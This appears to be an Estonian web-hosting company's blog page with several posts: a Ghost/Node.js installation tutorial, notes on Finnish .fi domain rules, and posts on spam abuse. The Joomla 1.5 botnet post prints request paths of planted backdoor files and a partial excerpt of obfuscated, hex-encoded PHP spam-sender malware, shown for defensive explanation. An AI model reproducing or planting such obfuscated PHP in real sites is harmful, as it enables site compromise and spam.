Ghost blogi ja Node.js Zone virtuaalserveris

Hiljuti lisandus Zone virtuaalserveri pakettides võimalus kasutada lisaks PHP-veebirakendustele ka Node.js-rakendusi

Käesolevas näites paigaldame Zone virtuaalserverisse populaarse Ghost blogimootori, mis on eelkõige tuntud oma lihtsuse ja viisaka välimuse poolest. Kui niiöelda suured blogimootorid, näiteks WordPress, võimaldavad teha kõikvõimalikke veebilehti visiitkaartidest kuni suurte e-poodideni, siis Ghost võimaldab teha vaid üht ehk siis kõige tavalisemat blogi.

Vaikimisi kasutab Ghost andmebaasina SQLite manus-andmebaasi, kuid toetatud on ka MySQL, mida proovimegi kasutada SQLite asemel. SQLite on väga mugav katsetusteks, selle tarbeks ei ole vaja paigaldada väliseid teenuseid, kuid tunduvalt ebamugavam on see haldamise mõttes, kuna sellele ei pääse “väljastpoolt” kuidagi ligi. Samuti võib tekkida probleeme Node.js versiooni uuendamisel, kuna SQLite draiver tuleb iga Node.js versiooni jaoks eraldi kompileerida. Zone virtuaalserveri pakketides on mugav MySQL tugi samas juba olemas ja seega on seda isegi lihtsam kasutusele võtta.

Alamdomeeni loomine

Esimese sammuna loome Zone haldusliideses uue alamdomeeni, millel hakkab meie Ghost blogi tööle.

ghost02

Alamdomeeni jaoks valime kõigepealt sobiva domeeninime, siin näites on selleks ghost.tahvel.info, ja seejärel määrame mod_proxy sihtpordi. Vajalik on sihtpordi määramine seetõttu, et Node.js rakendusi ei käivitata erinevalt PHP rakendustest läbi Apache, vaid siinkohal töötab Apache veebiserver hoopis veebiproksina – päringud tulevad sisse ja kui need on suunatud kindlale alamdomeenile, siis Apache suunab need lihtsalt edasi järgmisele serverile, mis juhtub kuulama mod_proxy seadetes määratud pordil. Ghost kasutab vaikimisi pordina 2368 ja selle numbri valimegi.

ghos03

Kausta väärtus ei ole siinkohal üldse oluline, kuna Apache nende failide poole ei pöördu. Seame selleks siin näites ghost, kuid reaalselt pole sellel väärtusel erilist vahet.

Koodifailide laadimine

Kui alamdomeen on olemas, tuleks saada Ghost koodifailid kuidagi meie virtuaalserverisse. Üheks võimaluseks on külastada Ghost allalaadimiste lehte ja vajalikud failid sealt zip-failina alla laadida. Seejärel tuleks need failid kas FTP või SSH abil virtuaalserverisse toimetada.

ghost01

Teine võimalus on laadida koodifailid wget käsu abil otse serverist. Seega tuleks meil logida SSH abil serverisse. Kuidas seda täpselt teha, saab lugeda siit.

Kui ühel hetkel juba serveris sees oleme, saab vajalikud failid alla laetud ja paigaldatud järgmiste käskude abil:

$ cd ~
$ wget https://ghost.org/zip/ghost-0.11.0.zip
$ unzip ghost-0.11.0.zip -d ghost
$ cd ghost

Sellega tekitasime oma kodukataloogi uue kausta ./ghost, milles asuvadki kõik Ghost koodifailid.

Paigaldame kohe ka kõik vajalikud alammoodulid, mida Ghost oma töö jaoks vajab. Vaikimisi ei taha Ghost Node.js versiooniga 6 ja uuemad töötada, eelkõige probleemide tõttu SQLite andmebaasiga, aga kuna meie seda ei kasuta, siis ei pea me ka muretsema. Ütleme lisaparameetriga, et Ghost ei kontrolliks Node.js versiooni.

$ GHOST_NODE_VERSION_CHECK=false npm install --production
Andmebaasi loomine

Edasi tuleks meil hakata rakenduse konfiguratsioonifaili looma, kuid see eeldab MySQL andmebaasi ja -kasutaja olemasolu. Pöördumegi selle jaoks tagasi Zone haldusliidesesse ja avame sektsiooni Andmebaasid ja sealt MySQL.

ghost04

Esiteks tuleks meil luua uus andmebaas. Valime baasile sobiva nime ja lisame selle.

ghost05

Kui baas on loodud, saame lisada ka andmebaasi kasutaja.

ghost06

Ja kui ka kasutaja on loodud, saame samal lehel määrata uuele kasutajale vajalikud õigused Ghost andmebaasiga toimetamiseks. Kõige lihtsam on lihtsalt klikata nupul “vali kõik,” kuid reaalselt ei lähe nimekirja lõpus olevad linnukesi siiski vaja.

ghost07

Ghost blogi seadistamine

Nüüd saame jälle minna SSH juurde tagasi ja lisame ./ghost kausta uue konfiguratsioonifaili. Üks võimalus on nimetada fail config.example.js ümber failiks config.js ja muuta selle sisu. Kuid võib selle faili ka täiesti ise teha. Konfiguratsioonifaili sisu peaks välja nägema järgmine (asenda url ning MySQL seadistuse väärtused).

var path = require('path'), config;
config = {
  production: {
    url: 'http://ghost.tahvel.info',
    mail: {
      transport: 'SMTP'
    },
    database: {
      client: 'mysql',
      connection: {
        host : 'd12345.mysql.zone.ee',
        user : 'd12345_ghost',
        password : 'Ghostpass123',
        database : 'd12345_ghost',
        charset : 'utf8'
      }
    },
    server: {
      host: '127.0.0.1',
      port: '2368'
    }
  }
};
module.exports = config;

Väärtus config.production.url hakkab olema meie blogi veebiaadress, mida kasutatakse linkide juures.

Meiliseadistuseks config.production.mail piisab vaid vajaliku transpordimehhanismi valikust, kuna Zone virtuaalserveritest saab kirju saata standardpordi kaudu ilma autentimata.

Serveri seadistus config.production.server ütleb, et meie rakendus hakkab kuulama pordil 2368 ehk sellelsamal, kuhu hakkab edaspidi Apache päringuid suunama.

Rakenduse töö seadistamine

Nüüdseks peaks meil olemas olema nii rakenduse failid, toimiv andmebaas ja rakendus olema ka korrektselt seadistatud, kuid erinevalt PHP rakendustest tuleb Node.js rakendused eraldi käima tõmmata, kuna tegu on nn. deemon tüüpi rakendustega. Zone virtuaalserverites saab selleks kasutada PM2 nimelist haldustööriista ja tekitamegi selle jaoks vastava konfiguratsioonifaili.

Konfiguratsioonifail ghost.json, mis ütleb PM2 rakenduste haldurile kuidas meie Ghost blogi jooksutada, võiks asuda meie kodukataloogis ehk seal kuhu satume, kui ssh’ga sisse logime. Faili sisu peaks välja nägema järgmine:

{
  "apps": [{
    "name": "ghost",
    "script": "./ghost/index.js",
    "cwd": "./ghost",
    "watch": true,
    "env": {
      "NODE_ENV": "production",
      "GHOST_NODE_VERSION_CHECK": "false"
    }
  }]
}
Rakenduse paigaldamine Zone haldusliideses

Nüüd peaks meil olema kõik eeldused olemas, et rakendus lõpuks ometi käivitada. Selle tarbeks avame Zone haldusliideses sektsiooni Veebiserver ja sealt alt Node.js ja PM2. Avanenud leheküljel saame lisada uue Node.js rakenduse ja rakenduse aknas tuleks meil esiteks määrata rakenduse nimi, milleks võib olla suvaline endale sobiv nimi. Seejärel tuleks öelda, et kust leiab PM2 rakenduse tööks vajaliku konfiguratsioonifaili ghost.json, mille tekitasime eelmises punktis oma kodukataloogi ja viimasena valida, et kui palju mälu me rakendusele eraldame.

ghost08

Peale lisa nupul klikkimist tuleb veidi oodata, lehekülge värskendades peaksime nägema, et teade “käivitamisel” muutub ühel hetkel “käivitatud”. Nüüd polegi enam muud, kui avada Ghost blogi aadress.

Blogi seadistamine

Kui näed blogi aadressil järgmist pilti, siis oled kõik õigesti teinud. Blogi töötab ja on kasutusvalmis.

ghost09

Muidugi on meil vaja ka kasutajakontot ja esimese, niiöelda admin konto saab luua, kui minna aadressile domeeninimi/ghost.

ghost10

ghost11

Ja kui konto juba loodud, siis polegi muud, kui postitusi kirjutama!

ghost12

UUS! Soome .fi domeenid Eesti ettevõtetele ja eraisikutele

5. septembrist hakkavad Soomes kehtima uued .fi domeenireeglid, kirjutame uutest võimalustest.

Landscape of Saimaa lake from above, Finland

Meil on hea uudis edasipürgivatele Eesti ettevõtjatele, kes tegutsevad Soome turul või plaanivad tulevikus sellele siseneda. 5. septembrist hakkavad Soomes kehtima uued .fi domeenireeglid, mis võimaldavad .fi domeene registreerida ka Eesti ettevõtetel ning eraisikutel.

Loe edasi “UUS! Soome .fi domeenid Eesti ettevõtetele ja eraisikutele”

Mis juhtub 5. septembril juba registreeritud .fi domeenidega?

Kirjeldame, kuidas mõjutab Soome tippdomeeni reform olemasoleva .fi domeeni omanikku.

aurora-borealis

.fi domeeni avanemise teemalises blogipostituses kirjutasin, et juba septembri alguses avaneb Eesti ettevõtetel ja eraisikutel võimalus registreerida Soome domeene. Käesolevas postituses kirjeldan, kuidas mõjutab tippdomeeni reform olemasoleva .fi domeeni omanikku.

Teema on oluline, kuna nii mõnigi eestimaine Kaval-Ants on hoolimata senistest piirangutest siiski leidnud võimaluse põhjanaabritelt domeeni napsamiseks.

Loe edasi “Mis juhtub 5. septembril juba registreeritud .fi domeenidega?”

Joomla 1.5 veebid botnetis

Ründed veebide vastu käivad lainetena – võetakse ette ühe sisuhaldustarkvara üks turva-auk ja käiakse sellel põhineva ründega teadaolevate domeenide nimekiri üle. Haavatavad veebid saavad endale hetkega hulga tagauksi ja lähevad kasutusse spämmi saatmisel, pahavara levitamisel või mõnel muul moel.

Täna hakkab logidest silma Joomla 1.5 versioonil põhinev spämmi-botnet – mis on eriti õnnetu juhtum, sest tegemist on väga vana ja juba ammu enam uuendusi mitte saava versiooniga (viimane ametlik parandus on 1.5.26, lisaks on olemas hotfix-parandusi kuni 1.5.29-ni) ning selle pealt uuemale versioonile üleminek on tõsine migratsioon. Ka rünnak tundub olema iidne – samu mustreid on kirjeldatud juba 2014. veebruaris.

Kui sait on pandud spämmi saatma, ei jää meil muud üle kui kasutaja veebiserverist väljuv e-postiliiklus blokeerida (see ei puuduta kasutaja enda e-posti, küll aga nt veebipoest saadetavaid arveid või paroolivahetusi) – ja paluda kliendil suhelda oma veebimeistriga veebi pahalastest puhastamise teemal. Sageli tuleb seepeale küsimus “Kuidas te teate, et on nakatunud – ja kuidas veebi puhtaks saaks?”

Samal teemal lugemist Zone blogist:

Tüüpiline ülevõetud veebi logi näeb välja selline:

POST /templates/beez/javascript/stats86.php
POST /administrator/components/com_menus/views/utf81.php
POST /libraries/joomla/html/parameter/list92.php
POST /libraries/cms/form/db42.php
POST /includes/PEAR/press58.php

Ehk erinevatesse kohtadesse Joomla, selle lisade või kujundusteema koodis on paigutatud suvalise nimega faile, mis sisaldavad spämmisaatjat. Sedapuhku näeb see välja umbes selline:

<?php ${"\x47\x4c\x4fB\x41\x4c\x53"}['wc576'] = "\x28\x72\x48\x45\x2e\xa\x4e\x40\x20\x75\x67\x33\x3a\x52\x7c\x50\x7e\x39\x62\x3e\x31\x49\x2c\x41\x55\x46\x6f\x4a\x78\x21\x71\x32\x6a\x6d\x51\x

65\x2f\x24\x27\x4d\x54\x5d\x60\x5c\x58\x2a\x5e\x66\x37\x23\x38\x42\x22\x29\x5b\x4f\x77\x2d\x56\x3f\x25\x47\x44\x64\x76\x6e\xd\x79\x7a\x69\x4b\x3b\x36\x3c\x68\x59\x3d\x43\x63\x30\x7b\x53\x35\

x34\x9\x5f\x5a\x2b\x7d\x26\x4c\x6c\x70\x6b\x57\x61\x74\x73";

$GLOBALS[$GLOBALS['wc576'][9].$GLOBALS['wc576'][82].$GLOBALS['wc576'][35].$GLOBALS['wc576'][50].$GLOBALS['wc576'][11]] = $GLOBALS['wc576'][78].$GLOBALS['wc576'][74].$GLOBALS['wc576'][1];

Õnneks tuvastavad seda mustrit mitmed viirusetõrjevahendid, sealhulgas Nimbusec mille saab tellida Zone+ all – umbes 15 minutiga peaks esimene skaneering tehtud olema ning käes nimekiri pahadest failidest:

compromised-files

Jah, see teenus maksab – 1,99€+km kuus. Aga meie testide kohaselt on see parim ja soodsaim lahendus, mida pakkuda saame.

Käies need ükshaaval üle on võimalik veenduda, et tegemist on tõepoolest pahavaraga – ning juhul, kui selles failis midagi muud ei sisaldu, võib selle lihtsalt ära kustutada. Paraku leiab tihti ka sellist pahavara, mis lisatakse mõne veebirakenduse jaoks olulise faili algusesse või keskele, ning sellisel puhul on vaja eemaldada vaid probleemne osa – või asendada kogu fail puhtaga.

Nii saab veebi enam-vähem korda, aga kui rünnet võimaldanud turva-auk lappimata jääb või on pahalased sokutanud kuhugi tagaukse, mis ka Nimbusecile märkamata jääb, kordub kõik paari päeva pärast uuesti.

Siis aitab ainult suurpuhastus:

  • sisuhaldustarkvara kood tuleb täielikult asendada värskeima versiooniga (Joomla puhul tähendab see migratsiooni)
  • samuti tuleb asendada kõik lisamoodulid – veendudes, et nende viimased versioonid ei sisalda teadaolevaid turvaprobleeme
  • kohandatud kujundusteema failid tuleb käsitsi üle kontrollida, veendumaks nende puhtuses

ps. Joomla-spetsid on teretulnud täiendama/parandama – eriti mis puudutab versioone, vajalikke paikasid, migratsiooni metoodikat jne. Võib kirjutada otse peeter@zone.ee.

Mis juhtub nende klientidega, kes spämmi saadavad?

Virtuaalserver tundub olema üks lihtsalt võrreldav teenus – igal pakkujal on tabelis hind ja mingid gigabaidid, paned need ritta ja tulemus käes.

Tegelikult kuulub aga teenusesse hulk asju, mida tabelis atraktiivselt lahti ei seleta. Näiteks see, kuidas me hoiame oma servereid puhtana nii spämmeritest kui muust probleeme tekitavast – vajadusel loobudes mõnest kliendist, et teistele paremat teenust pakkuda.

Tänane hommik algas näiteks sellise kirjaga:

spamhaus-epost

Ehk siis üks meie serveritest sattus musta nimekirja, kuna viidatud domeeni/veebi/virtuaalserveri omaniku nimel saadeti spämmi. Ja nimekirjast välja pääsemiseks tuleb meil täpselt selgitada, kuidas probleem lahendatud sai. Senikaua võib olla probleeme kõigist selles serveris majutatud veebidest saadetava postiga – see satub spämmikausta. Mida kiiremini ja resoluutsemalt me sellistele kirjadele reageerime, seda kiiremini saame listist välja.

Sageli on tegemist lihtsalt teadmatusega – kui kuulatakse siis harime, kui küsitaks aitame veebi pahavarast puhastada ja turvata. Ja kui keegi spämmi-agentuuri reklaami õnge on läinud – laseme esimesel korral digiallkirjastada no-spam deklaratsiooni selle kohta, et ta on kehtiva regulatsiooni ja hea tavaga tutvunud, oma eksimusest aru saanud ja lubab edaspidi viks ja viisakas olla:

Kinnitus
e-posti saatmise reeglitega nõustumise kohta

Käesolevaga kinnitan, et olen teadlik ja järgin e-posti saatmisel Euroopa Liidu direktiive, Eesti Vabariigi seadusi ja Andmekaitse inspektsiooni juhist “Elektrooniliste kontaktandmete kasutamine otseturustuses” (vt Lisa 1), Zone Media OÜ Serveriteenuste üldtingimustes sätestatut ning internetikasutuse head tava.

Mõistan, et ükski ostetud, renditud, veebide skaneerimise kaudu kogutud või mistahes muul viisil peale kasutaja selgesõnalise nõustumise saadud list ei ole lubatud.

[ Täistekst, lisa seaduse-viidetega ja allalaetavad versioonid leiab lehelt No-spam deklaratsioon ]

Vahel aga allkiri ei aita – sellise kliendi tunneb ära sellest, et tema ise või tema poolt kasutatav spämmi-firma hakkab käima välja põhjuseid, miks nende saadetav ei ole spämm:

  • “aga see ei ole ju saadetud teie serverist, ärge muretsege”
  • “me saatsime mobiiltelefoni IP pealt, ärge muretsege”
  • “nende kirjade saatja aadressiks on hoopis üks gmaili konto, ärge muretsege”
  • “me võtsime nüüd kirjast veebiserveri aadressi maha, ärge muretsege”

Kuna meil puudub absoluutselt igasugune soov muretseda – ja me tahame, et oma e-posti kohalejõudmise pärast ei peaks muretsema ka meie head kliendid – siis saab sellise leelo peale olla vaid üks lühike vastus:

Sulgeme Teie virtuaalserveri korduva spämmi saatmise tõttu. Hetkel takistate Te meil teenuse pakkumist teistele klientidele ja rikute sellega lepingut.

Näeksime meeleldi, kui leiaksite ka oma domeenide jaoks lähemal ajal mõne teise registripidaja.

Sõltumata kasutatud trikkidest leiavad Spamhaus jt suurema vaevata üles selle, kelle nimel spämmi saadetakse, ja panevad süümepiinadeta blacklisti vastav serveri IP – kui aga teenusepakkuja oma majas korda ei suuda luua, siis vajadusel ka suurema hulga IP-aadresse.

Kas see piirab kellegi sõna- või ettevõtlusvabadust? Me kontrollime saabunud raportite paikapidavust ja kui vaja, siis seisame õiguse ja vabaduse eest. Kui aga tegemist on tõesti spämmeriga – siis on tal võimalik kasutada põhiõigust leida küberruumi hämaratest nurkadest teenusepakkuja, kes ei pea enam muretsema, sest ta juba on blacklistis (ja küllap teda teatakse nimeliselt). Korduva rikkumise korral tuleb uuele teenusepakkujale abuse-teavitus ka ilma uut spämmikampaaniat alustamata – “teie juurde saabus see-ja-see, siin on nimekiri põhjustest miks ta kolis”.

Tänase blogipostituse, põhiõiguste kaitse ja puhtama tunde toob teieni ex-klient serverist SN23, kes allkirjastas deklaratsiooni ja jätkas tuntud spämmi-teenuse kasutamist – mõistagi palume vabandust kõigilt neilt, kes temaga sama virtuaalset ruumi jagama sattusid.

spamhaus-report

ps. See pildil olev udutamine on lihtsalt selleks, et vältida keskendumist ühele ettevõttele – teades meie serverite IPsid võib igaüks SBList järgi uurida, kes parasjagu pahanduse majja tõi. Jätaks meelde parem selle No-spam deklaratsiooni ja aitaks sõpradele/äripartneritel inetut jama vältida.